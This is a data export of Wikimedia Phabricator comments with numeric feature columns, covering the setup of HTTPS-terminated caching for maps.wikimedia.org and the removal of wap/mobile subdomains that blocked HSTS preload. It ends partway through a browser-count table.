+",,,1439598513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+505592,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230539 merged by Ottomata:
+Add webrequest_maps kafka topic output for cache_maps
+
+[[https://gerrit.wikimedia.org/r/230539]]",,,1439247652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+505184,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230547 merged by BBlack:
+remove icinga monitoring for maps.wm.o for now (not production)
+
+[[https://gerrit.wikimedia.org/r/230547]]",,,1439216462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+505183,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230546 merged by BBlack:
+fix description for maps LVS
+
+[[https://gerrit.wikimedia.org/r/230546]]",,,1439216445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+505182,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230547 had a related patch set uploaded (by BBlack):
+remove icinga monitoring for maps.wm.o for now (not production)
+
+[[https://gerrit.wikimedia.org/r/230547]]
+",,,1439216360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+505181,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230546 had a related patch set uploaded (by BBlack):
+fix description for maps LVS
+
+[[https://gerrit.wikimedia.org/r/230546]]
+",,,1439216360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+505152,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230539 had a related patch set uploaded (by BBlack):
+Add webrequest_maps kafka topic output for cache_maps
+
+[[https://gerrit.wikimedia.org/r/230539]]
+",,,1439214409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+505147,Set up standard HTTPS Termination -> 2layer caching for maps service,"Yup.
+
+I just created the webrequest_maps kafka topic:
+
+```
+kafka topic --create --topic webrequest_maps --partitions 12 --replication-factor 3
+```
+
+And we'll also need:
+https://gerrit.wikimedia.org/r/#/c/230535/
+
+As long as the new varnish maps cluster has varnishkafka configured in the same way as elsewhere (with `topic => 'webrequest_maps'`), then this should just work.
+
+@bblack, just a note for this in the future.  We have recently started running Kafka with `auto.create.topics.enable` set, which means if anything starts producing to a Kafka topic that doesn't exist, that topic will be created.  Unfortunately, we cannot delete topics in Kafka.  It doesn't really hurt to have unused topics in Kafka, but it is just ugly and I have to look at them.  I just wanted you to know in case you fire up varnishkafka instances in places with a new topic name set.
+
+",,,1439213302,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1
+505146,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230535 had a related patch set uploaded (by Ottomata):
+Make camus import webrequest_maps from new maps varnish cluster
+
+[[https://gerrit.wikimedia.org/r/230535]]
+",,,1439213065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+504700,Set up standard HTTPS Termination -> 2layer caching for maps service,"No idea, I'm going to ping @ottomata Monday and talk it out with him first and then see what we need to do.",,,1439050707,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0
+504699,Set up standard HTTPS Termination -> 2layer caching for maps service,"Gotcha; awesome! Long as the pipes get hooked up I'm all happy :).
+
+(We need a new task for that, or..?)",,,1439050649,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+504691,Set up standard HTTPS Termination -> 2layer caching for maps service,">>! In T105076#1521473, @Ironholds wrote:
+> Not done; to repeat my questions above:
+> 
+> 1.  Is this going to be integrated with the existing kafka pipelines for logging?
+> 2.    If so, what source cluster will it be under? web, misc, a new ""maps"" one..?
+
+It will be a new ""maps"" one, and yes there's probably still work to do there on my side and otto's to hook up the ends of the pipes.  But it's using our same basic puppetization infrastructure as e.g. upload, text, etc.",,,1439046608,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+504679,Set up standard HTTPS Termination -> 2layer caching for maps service,"Not done; to repeat my questions above:
+
+1.  Is this going to be integrated with the existing kafka pipelines for logging?
+2.    If so, what source cluster will it be under? web, misc, a new ""maps"" one..?
+",,,1439043831,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+504615,Set up standard HTTPS Termination -> 2layer caching for maps service,"@bblack, re non-SSD -- I think there are a few smaller unused SSDs  that might be used to upgrade these servers. @mark mentioned them when we were considering the storage for the codfw servers.
+
+Also, I will close this issue and move the cache invalidation to a separate task - max is working on the htcp component, and once done, we should figure it out.  Thanks!",,,1439025548,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0
+504524,Set up standard HTTPS Termination -> 2layer caching for maps service,"@bblack, thank you for doing this on such a short notice! The results so far are amazing! We will be doing performance eval, and regen the tiles to fix the most outstanding issues. Once again, it is awesome!",,,1438997677,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0
+504493,Set up standard HTTPS Termination -> 2layer caching for maps service,">>! In T105076#1520412, @BBlack wrote:
+> This is now basically working at https://maps.wikimedia.org/static/ .  Don't link that anywhere or use it on wikis anywhere yet, there are probably lots of ancillary details to sort out, review, and/or fix first.
+> 
+> Note also that due to taking whatever available spares we have here and there, the cluster config isn't really ideal or standard.  The cache cluster for this is a pair of non-SSD older nodes in eqiad, while the service hosts are over in codfw.
+
+awesome",,,1438994555,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+504489,Set up standard HTTPS Termination -> 2layer caching for maps service,"This is now basically working at https://maps.wikimedia.org/static/ .  Don't link that anywhere or use it on wikis anywhere yet, there are probably lots of ancillary details to sort out, review, and/or fix first.
+
+Note also that due to taking whatever available spares we have here and there, the cluster config isn't really ideal or standard.  The cache cluster for this is a pair of non-SSD older nodes in eqiad, while the service hosts are over in codfw.",,,1438993828,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+504439,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230246 merged by BBlack:
+Add cache_maps and related LVS config, using cp104[34]
+
+[[https://gerrit.wikimedia.org/r/230246]]",,,1438989995,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+504414,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230243 merged by BBlack:
+add maps.wikimedia.org (-> maps-lb.eqiad)
+
+[[https://gerrit.wikimedia.org/r/230243]]",,,1438987929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+504413,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230242 merged by BBlack:
+create maps-lb.eqiad, repurposing osm-lb.eqiad ipv4
+
+[[https://gerrit.wikimedia.org/r/230242]]",,,1438987919,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+504412,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230241 merged by BBlack:
+remove unused revdns for osm-lb.esams
+
+[[https://gerrit.wikimedia.org/r/230241]]",,,1438987909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+504404,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230246 had a related patch set uploaded (by BBlack):
+Add cache_maps and related LVS config, using cp104[34]
+
+[[https://gerrit.wikimedia.org/r/230246]]
+",,,1438987438,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+504399,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230241 had a related patch set uploaded (by BBlack):
+remove unused revdns for osm-lb.esams
+
+[[https://gerrit.wikimedia.org/r/230241]]
+",,,1438987302,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+504398,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230242 had a related patch set uploaded (by BBlack):
+create maps-lb.eqiad, repurposing osm-lb.eqiad ipv4
+
+[[https://gerrit.wikimedia.org/r/230242]]
+",,,1438987301,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+504397,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230243 had a related patch set uploaded (by BBlack):
+add maps.wikimedia.org (-> maps-lb.eqiad)
+
+[[https://gerrit.wikimedia.org/r/230243]]
+",,,1438987301,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+502810,Set up standard HTTPS Termination -> 2layer caching for maps service,"Questions from the data end:
+
+1. Is this going to be integrated with the existing kafka pipelines for logging?
+2. If so, what source cluster will it be under? web, misc, a new ""maps"" one..?",,,1438804378,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+104942,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"In addition to `$lang.m.wikipedia.org` and `$lang.zero.wikipedia.org` (which are fine!), we also have `$lang.wap.wikipedia.org` and `$lang.mobile.wikipedia.org`.  These latter two seem to be apache-level rewrites (rather than redirects) to `$lang.m.wikipedia.org` at https://github.com/wikimedia/operations-puppet/blob/production/modules/mediawiki/files/apache/sites/redirects/redirects.dat#L484 .  From my desktop browser they appear equivalent to `.m.`, but perhaps there are still hacks in place for WAP on special user-agents?
+
+These subdomains are not compatible with our TLS certs, so it's a problem that blocks HSTS-preload for wikipedia.org indirectly.  My understanding is they're intended to be deprecated going forward, in which case perhaps we can just hurry up plans for their demise?",Medium,50.0,1436247286,1438001461.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ocjkiluccjqpet6e2edi,task_description,resolved,True,c3,3,True,True,True,0,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+508546,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231612 merged by BBlack:
+Remove wap/mobile subdomains from redirects
+
+[[https://gerrit.wikimedia.org/r/231612]]",,,1439578361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+508543,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231612 had a related patch set uploaded (by BBlack):
+Remove wap/mobile subdomains from redirects
+
+[[https://gerrit.wikimedia.org/r/231612]]
+",,,1439578271,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+508537,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231610 merged by BBlack:
+Remove mobile.wp.o
+
+[[https://gerrit.wikimedia.org/r/231610]]",,,1439578025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+508535,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231610 had a related patch set uploaded (by BBlack):
+Remove mobile.wp.o
+
+[[https://gerrit.wikimedia.org/r/231610]]
+",,,1439577860,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+497394,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 223972 merged by BBlack:
+Remove wap and mobile subdomains
+
+[[https://gerrit.wikimedia.org/r/223972]]",,,1438001374,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+497393,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"wikitech-l thread seems in agreement as well, so moving forward on this.  Thanks for looking into it everyone :)",,,1438001335,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,3,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+496777,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,I pinged on wikitech-l one last time.,,,1437779909,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+493148,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"This has been an enlightening thread in many ways! Thanks everybody.
+
+I'm not seeing anything in the longer queries that causes any alarm and I'd like to move this forward. Any additional concerns?
+
+-Toby",,,1437166152,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,2,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,0
+492789,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Even more pro-tip: put it in a [[/paste/create | pastebin ]] and then embed it with `{P123}`. Like this:
+
+{P123}
+
+Then you can reuse it in as many tasks as you want!",,,1437091738,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+492754,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Phabricator pro-tip: You can put long lists in quoted code blocks with a `lines=NN` at the top and they'll scroll.  For example, ""View Raw"" on this comment:
+
+```
+lines=10
+day	family	count
+1	Mobile Safari	12132057
+1	Chrome Mobile	8801804
+1	Android	3749250
+1	Other	2528518
+1	Opera Mini	1403237
+1	Chrome	900893
+1	IE Mobile	681078
+1	Chrome Mobile iOS	621432
+1	BingPreview	449956
+1	UC Browser	297750
+1	IE	204187
+1	Firefox Mobile	178981
+1	BlackBerry WebKit	152236
+1	Amazon Silk	118894
+1	Opera Mobile	102316
+1	NetFront NX	64352
+1	Firefox	53725
+1	Yandex Browser	50416
+1	UP.Browser	40531
+1	NetFront	37946
+1	Nokia Browser	29383
+1	bingbot	28545
+1	Nokia Services (WAP) Browser	24726
+1	Opera	22199
+1	Safari	19415
+1	BlackBerry	18870
+2	Mobile Safari	12004029
+2	Chrome Mobile	8784320
+2	Android	3744649
+2	Other	2524019
+2	Opera Mini	1376195
+2	Chrome	866146
+2	IE Mobile	691822
+2	Chrome Mobile iOS	612938
+2	UC Browser	294477
+2	BingPreview	250466
+2	IE	189961
+2	Firefox Mobile	162782
+2	BlackBerry WebKit	145485
